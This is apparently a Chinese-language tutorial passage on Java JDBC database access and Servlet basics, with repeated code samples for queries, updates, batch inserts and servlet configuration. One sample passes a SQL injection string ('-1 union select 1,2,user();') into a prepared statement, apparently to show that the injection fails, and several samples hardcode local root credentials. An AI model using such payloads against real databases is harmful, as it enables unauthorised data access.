// 4.调用driver的connect(),获取连接
Connection connect = o.connect(connectionString, properties);
// System.out.println(connect);
// 4.使用DriverManger类先将Driver类型的对象注册,
// 然后再通过getConnection方法返回对应的Connection类型的对象
DriverManager.registerDriver(driver);
Connection connection = DriverManager.getConnection(connectionString, properties);
// System.out.println(connection);
// 返回一个预处理的语句
PreparedStatement preparedStatement = connection.prepareStatement(sql);
// 设置一个值
preparedStatement.setString(1, "-1 union select 1,2,user();");
// 执行对应的sql语句,返回结果集合
ResultSet resultSet = preparedStatement.executeQuery();
// 使用while循环遍历结果集,打印每行的数据
while (resultSet.next()) {
// System.out.println("Host name is " + resultSet.getString("host") + ", ");
// System.out.println("username name is " + resultSet.getString("user") + ", ");
// System.out.println("password value is " + resultSet.getString("password") + ", ");
System.out.print(resultSet.getString(1) + ", ");
System.out.print(resultSet.getString(2) + ", ");
System.out.println(resultSet.getString(3) + ", ");
}
}
}
- 证明:
8.5.2.2.3. 索引查询
package proxy.test_test;
import com.mysql.jdbc.Driver;
import java.sql.*;
import java.util.Properties;
public class MainClass {
public static void main(String[] args) throws SQLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
// 1.获得Driver类型的对象
Driver driver = new Driver();
// 1.通过先get class类型的对象 然后再newInstance生成
Class<?> aClass = Class.forName("com.mysql.jdbc.Driver");
Driver driver1 = (Driver) aClass.newInstance();
// 1.通过getclass
Class<Driver> driverClass = Driver.class;
Driver driver2 = driverClass.newInstance();
// 2.提供url,指名具体操作的手机
String connectionString = "jdbc:mysql://127.0.0.1:3306/mysql";
String sql = "select * from user";
// 3.提供properties对象,指名用户名,密码
Properties properties = new Properties();
properties.setProperty("user", "root");
properties.setProperty("password", "redhat");
// 4.连接数据库第一种方式:调用driver的connect(),获取连接
Connection connect = driver.connect(connectionString, properties);
System.out.println(connect);
// 4.连接数据库第二种方式:使用DriverManager.registerDriver,获取连接,
// 然后再通过getConnection方法返回对应的Connection类型的对象
DriverManager.registerDriver(driver);
Connection connection = DriverManager.getConnection(connectionString, properties);
System.out.println(connection);
// 调用对应Connection类型的对象中的prepareStatement方法
// 来生成PreparedStatment类型的对象
PreparedStatement preparedStatement = connection.prepareStatement(sql);
// 执行对应的sql语句,返回结果集合
ResultSet resultSet = preparedStatement.executeQuery();
// 使用while循环遍历结果集,打印每行的数据
while (resultSet.next()) {
// System.out.println("Host name is " + resultSet.getString("host") + ", ");
// System.out.println("username name is " + resultSet.getString("user") + ", ");
// System.out.println("password value is " + resultSet.getString("password") + ", ");
System.out.print(resultSet.getString(1) + ", ");
System.out.print(resultSet.getString(2) + ", ");
System.out.println(resultSet.getString(3) + ", ");
}
}
}
8.5.2.2.4. 字段查询
package proxy.test_test;
import com.mysql.jdbc.Driver;
import java.sql.*;
import java.util.Properties;
public class MainClass {
public static void main(String[] args) throws SQLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
// 1.获得Driver类型的对象
Driver driver = new Driver();
// 1.通过先get class类型的对象 然后再newInstance生成
Class<?> aClass = Class.forName("com.mysql.jdbc.Driver");
Driver driver1 = (Driver) aClass.newInstance();
// 1.通过getclass
Class<Driver> driverClass = Driver.class;
Driver driver2 = driverClass.newInstance();
// 2.提供url,指名具体操作的手机
String connectionString = "jdbc:mysql://127.0.0.1:3306/teach";
String sql1 = "select * from user";
String sql = "select * from users where id = ?";
// 3.提供properties对象,指名用户名,密码
Properties properties = new Properties();
properties.setProperty("user", "root");
properties.setProperty("password", "redhat");
// 4.连接数据库第一种方式:调用driver的connect(),获取连接
Connection connect = driver.connect(connectionString, properties);
System.out.println(connect);
// 4.连接数据库第二种方式:使用DriverManager.registerDriver,获取连接,
// 然后再通过getConnection方法返回对应的Connection类型的对象
DriverManager.registerDriver(driver);
Connection connection = DriverManager.getConnection(connectionString, properties);
System.out.println(connection);
// 调用对应Connection类型的对象中的prepareStatement方法
// 来生成PreparedStatment类型的对象
PreparedStatement preparedStatement = connection.prepareStatement(sql);
// 设置一个值
preparedStatement.setString(1, "2");
// 执行对应的sql语句,返回结果集合
ResultSet resultSet = preparedStatement.executeQuery();
// 使用while循环遍历结果集,打印每行的数据
while (resultSet.next()) {
// System.out.println("Host name is " + resultSet.getString("host") + ", ");
// System.out.println("username name is " + resultSet.getString("user") + ", ");
// System.out.println("password value is " + resultSet.getString("password") + ", ");
System.out.print(resultSet.getString(1) + ", ");
System.out.print(resultSet.getString(2) + ", ");
System.out.println(resultSet.getString(3) + ", ");
}
}
}
8.5.2.2.5. ResultSetMetaData类
// 可用于获取关于 ResultSet 对象中列的类型和属性信息的对象
ResultSetMetaData meta = rs.getMetaData();
getColumnName(int column)// 获取指定列的名称
getColumnLabel(int column)// 获取指定列的别名
getColumnCount()// 返回当前 ResultSet 对象中的列数。
getColumnTypeName(int column)// 检索指定列的数据库特定的类型名称。
getColumnDisplaySize(int column)// 指示指定列的最大标准宽度,以字符为单位。
isNullable(int column)// 指示指定列中的值是否可以为 null。
isAutoIncrement(int column)// 指示是否自动为指定列进行编号,这样这些列仍然是只读的。
8.5.2.2.6. 打印列名
package proxy.test_test;
import com.mysql.jdbc.Driver;
import java.sql.*;
import java.util.Properties;
public class MainClass {
public static void main(String[] args) throws SQLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
// 1.获得Driver类型的对象
Driver driver = new Driver();
// 1.通过先get class类型的对象 然后再newInstance生成
Class<?> aClass = Class.forName("com.mysql.jdbc.Driver");
Driver driver1 = (Driver) aClass.newInstance();
// 1.通过getclass
Class<Driver> driverClass = Driver.class;
Driver driver2 = driverClass.newInstance();
// 2.提供url,指名具体操作的手机
String connectionString = "jdbc:mysql://127.0.0.1:3306/teach";
String sql = "select * from users";
// 3.提供properties对象,指名用户名,密码
Properties properties = new Properties();
properties.setProperty("user", "root");
properties.setProperty("password", "redhat");
// 4.连接数据库第一种方式:调用driver的connect(),获取连接
Connection connect = driver.connect(connectionString, properties);
System.out.println(connect);
// 4.连接数据库第二种方式:使用DriverManager.registerDriver,获取连接,
// 然后再通过getConnection方法返回对应的Connection类型的对象
DriverManager.registerDriver(driver);
Connection connection = DriverManager.getConnection(connectionString, properties);
System.out.println(connection);
PreparedStatement preparedStatement1 = connect.prepareStatement(sql);
ResultSet resultSet = preparedStatement1.executeQuery();
ResultSetMetaData metaData = preparedStatement1.getMetaData();
for (int i = 1; i <= metaData.getColumnCount(); i++) {
System.out.println("第" + i + "列的列名为: " + metaData.getColumnName(i));
}
}
}
8.5.2.2.7. 打印数据库表格
package proxy.test_test;
import com.mysql.jdbc.Driver;
import java.sql.*;
import java.util.Properties;
public class MainClass {
public static void main(String[] args) throws SQLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
// 1.获得Driver类型的对象
Driver driver = new Driver();
// 1.通过先get class类型的对象 然后再newInstance生成
Class<?> aClass = Class.forName("com.mysql.jdbc.Driver");
Driver driver1 = (Driver) aClass.newInstance();
// 1.通过getclass
Class<Driver> driverClass = Driver.class;
Driver driver2 = driverClass.newInstance();
// 2.提供url,指名具体操作的手机
String connectionString = "jdbc:mysql://127.0.0.1:3306/teach";
String sql = "select * from users where id in (1,2,3,4,5,6,7,8)";
// 3.提供properties对象,指名用户名,密码
Properties properties = new Properties();
properties.setProperty("user", "root");
properties.setProperty("password", "redhat");
// 4.连接数据库第一种方式:调用driver的connect(),获取连接
Connection connect = driver.connect(connectionString, properties);
// System.out.println(connect);
// 4.连接数据库第二种方式:使用DriverManager.registerDriver,获取连接,
// 然后再通过getConnection方法返回对应的Connection类型的对象
DriverManager.registerDriver(driver);
Connection connection = DriverManager.getConnection(connectionString, properties);
// System.out.println(connection);
PreparedStatement preparedStatement1 = connect.prepareStatement(sql);
ResultSet resultSet = preparedStatement1.executeQuery();
ResultSetMetaData metaData1 = preparedStatement1.getMetaData();
int columnCount1 = metaData1.getColumnCount();
for (int i = 1; i <= columnCount1; i++) {
System.out.printf("%-15s", metaData1.getColumnName(i));
}
System.out.println();
while (resultSet.next()) {
for (int i = 1; i <= columnCount1; i++) {
System.out.printf("%-15s", resultSet.getObject(i));
}
System.out.println();
}
// ResultSetMetaData metaData = preparedStatement1.getMetaData();
// int columnCount = metaData.getColumnCount();
// for (int i = 1; i <= columnCount; i++) {
// System.out.printf("%-15s", metaData.getColumnName(i));
// }
// System.out.println();
// while (resultSet.next()) {
// for (int i = 1; i <= columnCount; i++) {
// System.out.printf("%-15s", resultSet.getObject(i));
// }
// System.out.println();
// }
}
}
8.5.2.3. JDBC-修改数据库
package proxy.test_test;
import com.mysql.jdbc.Driver;
import java.sql.*;
import java.util.Properties;
public class MainClass {
public static void main(String[] args) throws SQLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
// 1.获得Driver类型的对象
Driver driver = new Driver();
// 1.通过先get class类型的对象 然后再newInstance生成
Class<?> aClass = Class.forName("com.mysql.jdbc.Driver");
Driver driver1 = (Driver) aClass.newInstance();
// 1.通过getclass
Class<Driver> driverClass = Driver.class;
Driver driver2 = driverClass.newInstance();
// 2.提供url,指名具体操作的手机
String connectionString = "jdbc:mysql://127.0.0.1:3306/teach";
String sql1 = "select * from user";
String sql = "select * from users where id = ?";
// 3.提供properties对象,指名用户名,密码
Properties properties = new Properties();
properties.setProperty("user", "root");
properties.setProperty("password", "redhat");
// 4.连接数据库第一种方式:调用driver的connect(),获取连接
Connection connect = driver.connect(connectionString, properties);
System.out.println(connect);
// 4.连接数据库第二种方式:使用DriverManager.registerDriver,获取连接,
// 然后再通过getConnection方法返回对应的Connection类型的对象
DriverManager.registerDriver(driver);
Connection connection = DriverManager.getConnection(connectionString, properties);
System.out.println(connection);
String sql2 = "update users set password ='haha' where id in (? , ?)";
// 调用对应Connection类型的对象中的prepareStatement方法
// 来生成PreparedStatment类型的对象
PreparedStatement preparedStatement = connect.prepareStatement(sql2);
// 设置一个值
preparedStatement.setString(1, "17");
preparedStatement.setString(2, "18");
// 执行对应的sql语句,返回结果集合
int i = preparedStatement.executeUpdate();
System.out.println(i);
}
}
- 修改之前
- 修改之后
8.5.2.4. PreparedStatement批量添加
- 批量处理
JDBC
语句提高处理速度
- 一个
SQL
语句的批量传参
- 示例
package proxy.test_test;
import com.mysql.jdbc.Driver;
import java.sql.*;
import java.util.Properties;
public class MainClass {
public static void main(String[] args) throws SQLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
// 1.获得Driver类型的对象
Driver driver = new Driver();
// 1.通过先get class类型的对象 然后再newInstance生成
Class<?> aClass = Class.forName("com.mysql.jdbc.Driver");
Driver driver1 = (Driver) aClass.newInstance();
// 1.通过getclass
Class<Driver> driverClass = Driver.class;
Driver driver2 = driverClass.newInstance();
// 2.提供url,指名具体操作的手机
String conString = "jdbc:mysql://127.0.0.1:3306/teach";
String sql = "select * from users where id in (1,2,3,4,5,6,7,8)";
// 3.提供properties对象,指名用户名,密码
Properties properties = new Properties();
properties.setProperty("user", "root");
properties.setProperty("password", "redhat");
// 4.连接数据库第一种方式:调用driver的connect(),获取连接
Connection connect = driver.connect(conString, properties);
// 关闭自动提交功能
connect.setAutoCommit(false);
// System.out.println(connect);
// 4.连接数据库第二种方式:使用DriverManager.registerDriver,获取连接,
// 然后再通过getConnection方法返回对应的Connection类型的对象
DriverManager.registerDriver(driver);
Connection connection = DriverManager.getConnection(conString, properties);
// 关闭自动提交功能
connection.setAutoCommit(false);
// System.out.println(connection);
String sql1 = "insert into users (username, password) values (?, ?)";
PreparedStatement preparedStatement1 = connect.prepareStatement(sql1);
preparedStatement1.setObject(1, "2023-username");
preparedStatement1.setObject(2, "2023-password");
preparedStatement1.addBatch();
preparedStatement1.setObject(1, "2023-username1");
preparedStatement1.setObject(2, "2023-password1");
preparedStatement1.addBatch();
preparedStatement1.setObject(1, "2023-username2");
preparedStatement1.setObject(2, "2023-password2");
preparedStatement1.addBatch();
preparedStatement1.setObject(1, "2023-username3");
preparedStatement1.setObject(2, "2023-password3");
preparedStatement1.addBatch();
preparedStatement1.setObject(1, "2023-username4");
preparedStatement1.setObject(2, "2023-password4");
preparedStatement1.addBatch();
preparedStatement1.setObject(1, "2023-username5");
preparedStatement1.setObject(2, "2023-password5");
preparedStatement1.addBatch();
// 返回受影响的行数
int[] ints = preparedStatement1.executeBatch();
connect.commit();
System.out.println(ints);
}
}
9. Java_servlet
9.1. idea
与tomcat
相关基础配置
项目所对应的路径
如果没有,添加
9.1.1. Servlet的创建以及利用
9.2. 什么是 Servlet
9.3. Servlet的生命周期
9.4. 手动实现Servlet
程序(web.xml
注解)
- 编写一个类去实现
Servlet
接口 - 实现
service
方法,处理请求,并响应数据
package com.example.demo;
import javax.servlet.*;
import java.io.IOException;
public class New_Generate_Test implements Servlet {
// 实现Servlet接口
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
// 实现service方法,处理请求,并响应数据
System.out.println("New_generate_Test service function is called!");
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
- 到
web.xml
中去配置servlet
程序的访问地址
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<!-- 创建一个Servlet成员 名字叫做New_Generate 对应的类名New_Generate_Test-->
<servlet>
<servlet-name>New_Generate</servlet-name>
<servlet-class>com.example.demo.New_Generate_Test</servlet-class>
</servlet>
<!-- 当使用的路径为/new_generate时,此时对应的servlet的名字为New_Generate-->
<servlet-mapping>
<servlet-name>New_Generate</servlet-name>
<url-pattern>/new_generate</url-pattern>
</servlet-mapping>
</web-app>
9.4.1. Servlet对POST以及GET方法的处理
package com.example.demo;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
public class New_Generate_Test implements Servlet {
// 实现Servlet接口
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
// 实现service方法,处理请求,并响应数据
// System.out.println("New_generate_Test service function is called!");
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
String method = httpServletRequest.getMethod();
// System.out.println(method);
if (method.equals("GET")) {
System.out.println("new get request received");
} else if (method.equals("POST")) {
System.out.println("new post request received");
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
9.5. 使用IDEA创建Servlet程序
9.5.1. Servlet类的继承体系
9.5.2. @WebServlet
package com.example.demo;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
// 如果两边都写,没报错,但是会默认使用web.xml文件里的配置
@WebServlet(name = "TestServlet1", value = "/TestServlet1")
//@WebServlet("/TestServlet1")
public class TestServlet1 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
System.out.println("now doGet function called");
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
System.out.println("now doPost function called");
}
}
9.6. ServletConfig
类
9.6.1. ServletConfig
类的三大作用
9.6.2. demo-获得ServletConfig
类型的对象
package com.example.demo;
import java.io.*;
import java.util.Enumeration;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.http.*;
public class HelloServlet extends HttpServlet {
private String message;
@Override
public void init(ServletConfig config) throws ServletException {
super.init(config);
this.message = "HelloServlet";
String servletName = config.getServletName();
System.out.println("当前Servlet别名是: " + servletName);
// 获得可枚举的集合,遍历
Enumeration<String> initParameterNames = config.getInitParameterNames();
while (initParameterNames.hasMoreElements()) {
// 获得参数名
String elementName = initParameterNames.nextElement();
// 获得参数值
String value = config.getInitParameter(elementName);
System.out.println("now the name is " + elementName + ", now the value is " + value);
}
}
@Override
public void init() throws ServletException {
super.init();
this.message = "HelloServlet";
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
// Hello
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>" + message + "</h1>");
out.println("</body></html>");
}
public void destroy() {
}
}
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<!-- servlet-name 标签 Servlet 程序起一个别名(一般是类名) -->
<servlet-name>HelloServlet</servlet-name>
<!-- servlet-class 是Servlet 程序的全类名 -->
<servlet-class>com.example.demo.HelloServlet</servlet-class>
<!-- init-param是初始化参数 -->
<init-param>
<!-- 参数名 -->
<param-name>username</param-name>
<!--参数值 -->
<param-value>root</param-value>
</init-param>
<init-param>
<param-name>password</param-name>
<param-value>redhat</param-value>
</init-param>
<init-param>
<param-name>url</param-name>
<param-value>jdbc:mysql://localhost:3306/mysql</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/HelloServlet</url-pattern>
</servlet-mapping>
</web-app>
获取init-param
中的键值对中的值
9.7. ServletContext
接口
9.7.1. ServletContext类的四个作用
9.7.2. demo-获得ServletContext
类型的对象
package com.example.demo;
import java.io.*;
import java.util.Enumeration;
import javax.servlet.Servlet;
import javax.servlet.ServletConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.*;
public class HelloServlet extends HttpServlet {
private String message;
@Override
public void init(ServletConfig config) throws ServletException {
super.init(config);
this.message = "HelloServlet";
String servletName = config.getServletName();
System.out.println("当前Servlet别名是: " + servletName);
// 获得可枚举的集合,遍历
Enumeration<String> initParameterNames = config.getInitParameterNames();
while (initParameterNames.hasMoreElements()) {
// 获得参数名
String elementName = initParameterNames.nextElement();
// 获得参数值
String value = config.getInitParameter(elementName);
System.out.println("now the name is " + elementName + ", now the value is " + value);
}
ServletContext servletContext = config.getServletContext();
String contextPath = servletContext.getContextPath();
// 设置属性
servletContext.setAttribute("name", "哈哈哈");
// 获取属性
Object name = servletContext.getAttribute("name");
System.out.println("属性: " + name);
// 获取当前的工程(项目)的相对路径
System.out.println("当前部署的路径: " + contextPath);
String realPath = servletContext.getRealPath(contextPath);
// 获取工程部署后在服务器硬盘上的绝对路径
System.out.println("工程\"" + contextPath + "\"目录的绝对路径: " + realPath);
}
@Override
public void init() throws ServletException {
super.init();
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
// Hello
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>" + message + "</h1>");
out.println("</body></html>");
}
public void destroy() {
}
}
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<!-- servlet-name 标签 Servlet 程序起一个别名(一般是类名) -->
<servlet-name>HelloServlet</servlet-name>
<!-- servlet-class 是Servlet 程序的全类名 -->
<servlet-class>com.example.demo.HelloServlet</servlet-class>
<!-- init-param是初始化参数 -->
<init-param>
<!-- 参数名 -->
<param-name>username</param-name>
<!--参数值 -->
<param-value>root</param-value>
</init-param>
<init-param>
<param-name>password</param-name>
<param-value>redhat</param-value>
</init-param>
<init-param>
<param-name>url</param-name>
<param-value>jdbc:mysql://localhost:3306/mysql</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/HelloServlet</url-pattern>
</servlet-mapping>
</web-app>
9.7.3. context-param
package com.example.demo;
import java.io.*;
import java.util.Enumeration;
import javax.servlet.Servlet;
import javax.servlet.ServletConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.*;
public class HelloServlet extends HttpServlet {
private String message;
@Override
public void init(ServletConfig config) throws ServletException {
super.init(config);
this.message = "HelloServlet";
System.out.println("当前Servlet别名是: " + config.getServletName());
// 从ServletConfig中找到init-param标准的内容
System.out.println(config.getInitParameter("url"));
// 从ServletContext中找到context-param中的内容
System.out.println(config.getServletContext().getInitParameter("1111111"));
}
@Override
public void init() throws ServletException {
super.init();
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
// Hello
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>" + message + "</h1>");
out.println("</body></html>");
}
public void destroy() {
}
}
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<!-- servlet-name 标签 Servlet 程序起一个别名(一般是类名) -->
<servlet-name>HelloServlet</servlet-name>
<!-- servlet-class 是Servlet 程序的全类名 -->
<servlet-class>com.example.demo.HelloServlet</servlet-class>
<!-- init-param是初始化参数 -->
<init-param>
<!-- 参数名 -->
<param-name>username</param-name>
<!--参数值 -->
<param-value>root</param-value>
</init-param>
<init-param>
<param-name>password</param-name>
<param-value>redhat</param-value>
</init-param>
<init-param>
<param-name>url</param-name>
<param-value>jdbc:mysql://localhost:3306/mysql</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/HelloServlet</url-pattern>
</servlet-mapping>
<context-param>
<param-name>1111111</param-name>
<param-value>2222222</param-value>
</context-param>
</web-app>
9.7.4. ServletContext
的共享特性
package com.example.demo;
import java.io.*;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
@WebServlet("/HelloServlet")
public class HelloServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
ServletContext servletContext = req.getServletContext();
servletContext.setAttribute("age", 15);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
package com.example.demo;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
// 如果两边都写,没报错,但是会默认使用web.xml文件里的配置
//@WebServlet(name = "TestServlet1", value = "/TestServlet1")
@WebServlet("/TestServlet1")
public class TestServlet1 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
ServletContext servletContext = request.getServletContext();
System.out.println(servletContext.getAttribute("age"));
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
}
9.8. HttpServletRequest
类
9.8.1. HttpServletRequest
类的作用
每次只要有请求进入Tomcat
服务器,Tomcat
服务器就会把请求过来的HTTP协议信息解析好封装到Request
对象中。然后传递到service
方法(doGet
和doPost
)中给我们使用。我们可以通过HttpServletRequest
对象,获取到所有请求的信息
9.8.2. HttpServletRequest
类的常用方法
- getRequestURI() 获取请求的资源路径(相对路径)
- getRequestURL() 获取请求的同意资源定位符(绝对路径)
- getRemoteHost() 获取客户端的IP地址
- getRemotePost() 获取客户端的IP端口
- getHeader() 获取请求头的
name
值 - getHeaderNames() 获取请求头的所有
name
值 - getParameter() 获取请求的参数字段
- getParameterValues() 获取请求的参数字段的值
- getParameterNames 获取请求的所有参数字段
- getParameterValues() 获取请求的参数(多个值的时候使用)
- getMethod() 获取请求的方式GET或POST
- setAttribute(key, value) 设置域数据
- getAttribute(key) 获取域数据
- getRequestDispatcher() 获取请求转发对象
9.8.2.1. 常用方法
package com.example.demo;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
import java.util.Arrays;
import java.util.Enumeration;
// 如果两边都写,没报错,但是会默认使用web.xml文件里的配置
//@WebServlet(name = "TestServlet", value = "/TestServlet")
@WebServlet("/TestServlet")
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
System.out.println("相对路径: " + request.getRequestURI());
System.out.println("绝对路径: " + request.getRequestURL());
System.out.println("客户端的IP地址: " + request.getRemoteHost());
System.out.println("客户端的IP端口: " + request.getRemotePort());
Enumeration<String> headerNames = request.getHeaderNames();
// 使用getHeaderNames配合对应的循环可以获得请求包中header头部对应的字段键值对的值
while (headerNames.hasMoreElements()) {
String headerName = headerNames.nextElement();
String headerValue = request.getHeader(headerName);
System.out.println("new the header name is " + headerName + ", and " +
"the value is " + headerValue);
}
// 获取请求的参数
// http://localhost:8088/demo/TestServlet?name=name
String name_value = request.getParameter("name");
System.out.println("nuw the name parameter value is " + name_value);
// 获取单一字段的值
String[] hobbies = request.getParameterValues("hobby");
System.out.println("获取某一字段值: " + Arrays.toString(hobbies));
// 枚举所有字段以及字段的值
Enumeration<String> parameterNames = request.getParameterNames();
System.out.println("枚举所有字段以及字段值");
while (parameterNames.hasMoreElements()) {
String s = parameterNames.nextElement();
String[] parameterValues = request.getParameterValues(s);
System.out.println("字段: " + s + ", 字段值: " + Arrays.toString(parameterValues));
}
System.out.println("请求方式: " + request.getMethod());
request.setAttribute("haha", 111);
System.out.println("域数据: " + request.getAttribute("haha"));
// 获取请求转发对象
// request.getRequestDispatcher();
System.out.println("JSESSIONID: " + request.getRequestedSessionId());
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
}
<body>
<form action="http://localhost:8088/demo/TestServlet" method="get">
用户名: <input type="text" name="useranme"><br/>
密码: <input type="password" name="password"><br/>
兴趣爱好:
<input type="checkbox" name="hobby" value="cpp">C++
<input type="checkbox" name="hobby" value="java">Java
<input type="checkbox" name="hobby" value="js">JavaScript
<br/>
<input type="submit">
</form>
</body>
访问: html
文件,在表格中填入内容,自动跳到url
连接中:http://localhost:8088/demo/TestServlet?name=name&useranme=admin&password=123456&hobby=cpp&hobby=java&hobby=js
9.8.2.2. requestDispatcher
9.8.2.2.1. 什么是请求转发
请求转发是指,服务器收到请求后,从一个服务器资源跳转到另一个服务器资源的操作叫做请求转发。
9.8.2.2.2. 请求转发特点
- 浏览器地址栏没有变化
- 它们是一次请求
- 它们共享
Request
域中的数据。在Servlet1
中把数据保存到request
对象中,也就是用setAttribute
,然后又把request
对象传到Servlet2
中去使用,forward
把这东西传进去,那Servlet2
中的request
就是那边传过去的,所以域数据是一样的,所以它们的请求参数都一样 - 可以转发到WEB-INF目录下,我们的工程名是映射到web目录,到了
web
目录以后,有WEB-INF
,将一个网页放到WEB-INF
下是不能访问的,我们要怎样才能进行访问?我们可以使用请求转发,它可以进去,那么就可以这样写:RequestDispatcher requestDispatcher = request.getRequestDispatcher("/WEB-INF/form.html");
- 不能访问工程以外的资源
package com.example.demo;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
@WebServlet(name = "Servlet1", value = "/Servlet1")
public class Servlet1 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String username = request.getParameter("username");
System.out.println("now in Servlet1.java doGet function, and the username is " + username);
request.setAttribute("secret_key", "Admin@123");
// 对应的Servlet1将处理之后的请求包转发到Servlet2对象中
// 通过requestDispatcher获得一个对应的requestDispatcher对象,此时该对象需要传递一个转发目的地的路径
RequestDispatcher requestDispatcher = request.getRequestDispatcher("/Servlet2");
requestDispatcher.forward(request, response);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
}
package com.example.demo;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
@WebServlet(name = "Servlet2", value = "/Servlet2")
public class Servlet2 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String username = request.getParameter("username");
System.out.println("now in Servlet2.java doGet function, and the username is " + username);
Object secret_key = request.getAttribute("secret_key");
System.out.println("now the secret_key from Servlet1.java is " + secret_key);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
}
9.9. Web中的路径问题
web
中/
斜杠的不同意义,在web中/
斜杠是一种绝对路径
/
斜杠如果被浏览器解析,得到的地址是:http://port/
<a href="/">斜杠</a>
/
斜杠如果被服务器解析,得到的地址是:http://ip:port/工程路径
<url-pattern>/servlet1</url-pattern>
servletContext.getRealPath("/")
request.getRequestDispatcher("/")
- 特殊情况:把斜杠发送给浏览器解析,得到
http://ip:port/
response.sendRedirect("/")
package com.example.demo;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.*;
import java.nio.charset.StandardCharsets;
@WebServlet(name = "Servlet1", value = "/Servlet1")
public class Servlet1 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String method_diy = request.getParameter("method");
if (method_diy.equals("first_method")) {
response.setStatus(302);
response.setHeader("Location", "http://www.baidu.com");
} else {
// response.sendRedirect("/Servlet2");
// 使用response时,需要手动添加工程路径,否则会出现404找不到资源
response.sendRedirect("/demo/Servlet2");
}
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
}
9.10. HttpServletResponse
类
9.10.1. HttpServletResponse
的作用
HttpServletResponse
类和HttpServletRequest
类一样。每次请求进来,Tomcat
服务器都会创建一个Response
